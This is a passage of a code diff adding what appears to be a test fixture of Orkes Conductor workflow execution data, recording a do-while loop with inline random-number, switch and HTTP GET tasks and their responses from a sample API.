defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref_1", + retryCount: 0, + seq: 44, + pollCount: 0, + taskDefName: "do_while_1", + scheduledTime: 1713413859382, + startTime: 1713413859382, + endTime: 1713413862160, + updateTime: 1713413861832, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97eb8924-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + switch_ref_1: { + evaluationResult: ["2"], + selectedCase: "2", + }, + inline_ref_1: { + result: 2, + }, + http_ref_7: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9943, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "tjxztrsclyzabbqspjmv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9428, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "lwfynuupwbgkcwgqemcs", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3723, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "kjmdqmvozujqsxupnlot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 154, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "obdruesgtvezidzuenhu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1892, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "heqrbsinaexemndlvmcp", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7080, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "cuurineeimzdpveetkte", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9931, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "ktrbhjusvnttizwmopxg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3569, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "rbeetiujrcnurymrqpvl", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8155, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "tniyursobyqwmcgnfxcj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5254, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "fqlewtggkleyvghxoyqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7061, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "ixireilwipqxtseivuxm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5878, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "bksldazxfxhyoyefvrxf", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2932, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "djokkjixbuwxlsstoaab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:40 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9316, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "dytnpkdddlzmtzlwfpal", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + inline_ref_1: { + result: 4, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4089, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "khrlsfsjmhvsjgtshbfz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + switch_ref_1: { + evaluationResult: ["4"], + selectedCase: "4", + }, + inline_ref_1: { + result: 4, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8433, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "nwltborbttslioxepwhe", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 242, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "idkvujpflbawjvbtcqol", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5914, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "sccygcowawimarjtitnq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2173, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "saxapbpahdmmtpavvjlm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + switch_ref_1: { + evaluationResult: ["1"], + selectedCase: "1", + }, + inline_ref_1: { + result: 1, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4359, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "lmbrmrnefvkwwwbmvolm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 395, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "myxiwwnhjbxhdwkfwmzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2885, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ykuzzhmdpvfcragcwxoh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + switch_ref_1: { + evaluationResult: ["3"], + selectedCase: "3", + }, + inline_ref_1: { + result: 3, + }, + http_ref_8: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4274, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "kwmoumdlucxuwgphkxaj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_5: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:41 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5175, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "enhhdgrjmtgntufhymzm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_6: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4750, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "oeenqbhrzifhhetyzpcu", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while_1", + taskReferenceName: "do_while_ref_1", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref_1['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + inline_ref_1: { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__6", + retryCount: 0, + seq: 69, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860941, + startTime: 1713413860941, + endTime: 1713413860957, + updateTime: 1713413860941, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98d96bad-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 4, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__1", + retryCount: 0, + seq: 45, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413859386, + startTime: 1713413859386, + endTime: 1713413859402, + updateTime: 1713413859386, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97ec2565-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 2, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__2", + retryCount: 0, + seq: 49, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413859617, + startTime: 1713413859617, + endTime: 1713413859629, + updateTime: 1713413859617, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "980f64d9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__3", + retryCount: 0, + seq: 54, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413859945, + startTime: 1713413859945, + endTime: 1713413859959, + updateTime: 1713413859945, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9841715e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__4", + retryCount: 0, + seq: 59, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860274, + startTime: 1713413860274, + endTime: 1713413860287, + updateTime: 1713413860274, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9873a4f3-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 3, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__5", + retryCount: 0, + seq: 64, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860607, + startTime: 1713413860607, + endTime: 1713413860621, + updateTime: 1713413860607, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98a69bd8-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + result: 1, + }, + workflowTask: { + name: "inline_1", + taskReferenceName: "inline_ref_1", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "INLINE", + status: "COMPLETED", + inputData: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() * 4) + 1;\n})();", + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "inline_ref_1__6", + retryCount: 0, + seq: 69, + pollCount: 0, + taskDefName: "inline_1", + scheduledTime: 1713413860941, + startTime: 1713413860941, + endTime: 1713413860957, + updateTime: 1713413860941, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + 